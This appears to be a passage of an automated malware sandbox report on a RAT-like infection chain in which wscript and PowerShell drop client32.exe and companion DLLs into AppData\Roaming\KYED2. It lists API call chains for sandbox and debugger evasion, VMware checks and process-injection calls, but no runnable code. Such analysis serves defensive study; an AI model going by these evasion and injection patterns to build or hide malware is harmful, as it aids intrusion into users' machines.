Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_111236E0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	5_2_111236E0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_111236E0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	5_2_111236E0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11025A90 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	5_2_11025A90
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1115BAE0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	5_2_1115BAE0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1115BAE0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	5_2_1115BAE0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11113FA0 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	5_2_11113FA0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11025EE0 IsIconic,BringWindowToTop,GetCurrentThreadId,	5_2_11025EE0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1115BEE0 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	5_2_1115BEE0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_110241A0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	5_2_110241A0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11024880 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	5_2_11024880
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_110C1020 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	6_2_110C1020
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11113380 IsIconic,GetTickCount,	6_2_11113380
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_110CB750 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	6_2_110CB750
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_110CB750 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	6_2_110CB750
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_111236E0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	6_2_111236E0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_111236E0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	6_2_111236E0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11025A90 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	6_2_11025A90
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1115BAE0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	6_2_1115BAE0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1115BAE0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	6_2_1115BAE0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11113FA0 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	6_2_11113FA0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11139ED0 GetCurrentThreadId,IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,GetTickCount,GetTickCount,FreeLibrary,	6_2_11139ED0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11025EE0 IsIconic,BringWindowToTop,GetCurrentThreadId,	6_2_11025EE0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1115BEE0 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	6_2_1115BEE0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_110241A0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	6_2_110241A0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_11024880 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	6_2_11024880

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

5_2_11029BB0

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_6EEF91F0		5_2_6EEF91F0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_6EF04F30		5_2_6EF04F30

Delayed program exit found

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_110B86C0 Sleep,ExitProcess,		5_2_110B86C0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_110B86C0 Sleep,ExitProcess,		6_2_110B86C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3133	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6748	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Window / User API: threadDelayed 422	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Window / User API: threadDelayed 8051	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\KYED2\remcmdstub.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\KYED2\new_chrome_proxy.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\KYED2\HTCTL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\KYED2\TCCTL32.DLL	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Evaded block: after key decision	graph_5-72945
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Evaded block: after key decision	graph_5-77578
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Evaded block: after key decision	graph_5-77977
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Evaded block: after key decision	graph_5-78189
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Evaded block: after key decision	graph_5-78356
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Evaded block: after key decision

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_5-77717
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_5-72623

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	API coverage: 7.2 %
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	API coverage: 2.8 %

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_6EF04F30

5_2_6EF04F30

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3720	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe TID: 2576	Thread sleep time: -56750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe TID: 2888	Thread sleep time: -42200s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe TID: 2576	Thread sleep time: -2012750s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_6EF03130 GetSystemTime followed by cmp: cmp eax, 02h and CTI: je 6EF03226h

5_2_6EF03130

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_111273E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	5_2_111273E0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1102D9F4 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	5_2_1102D9F4
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1102DD21 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	5_2_1102DD21
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1110BD70 _memset,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	5_2_1110BD70
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_110663B0 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	5_2_110663B0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_1106ABD0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	5_2_1106ABD0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1102D900 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,FindCloseChangeNotification,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	6_2_1102D900
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_111273E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	6_2_111273E0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1110BD70 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	6_2_1110BD70
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_110663B0 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	6_2_110663B0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 6_2_1106ABD0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	6_2_1106ABD0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: client32.exe	Binary or memory string: VMware
Source: client32.exe	Binary or memory string: VMWare

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	API call chain: ExitProcess graph end node	graph_5-72492
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	API call chain: ExitProcess graph end node	graph_5-78180
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	API call chain: ExitProcess graph end node	graph_5-73093
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_11162BB7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

5_2_11162BB7

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_110B7F30 GetLastError,_strrchr,_strrchr,GetTickCount,GetMessageA,TranslateMessage,DispatchMessageA,GetTickCount,GetMessageA,TranslateMessage,DispatchMessageA,GetCurrentThreadId,wsprintfA,wsprintfA,wsprintfA,GetCurrentThreadId,wsprintfA,OutputDebugStringA,wsprintfA,wsprintfA,GetModuleFileNameA,wsprintfA,GetTempPathA,GetLocalTime,_memset,GetVersionExA,wsprintfA,wsprintfA,_fputs,_fputs,_fputs,_fputs,_fputs,_fputs,wsprintfA,_fputs,_strncat,wsprintfA,SetTimer,MessageBoxA,KillTimer,PeekMessageA,MessageBoxA,

5_2_110B7F30

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

5_2_11029BB0

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe

Code function: 5_2_1117D104 __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

5_2_1117D104

Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_110934A0 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	5_2_110934A0
Source: C:\Users\user\AppData\Roaming\KYED2\client32.exe	Code function: 5_2_11031780 _NSMClient32@8,SetUnhandledExceptionFilter,	5_2_11031780
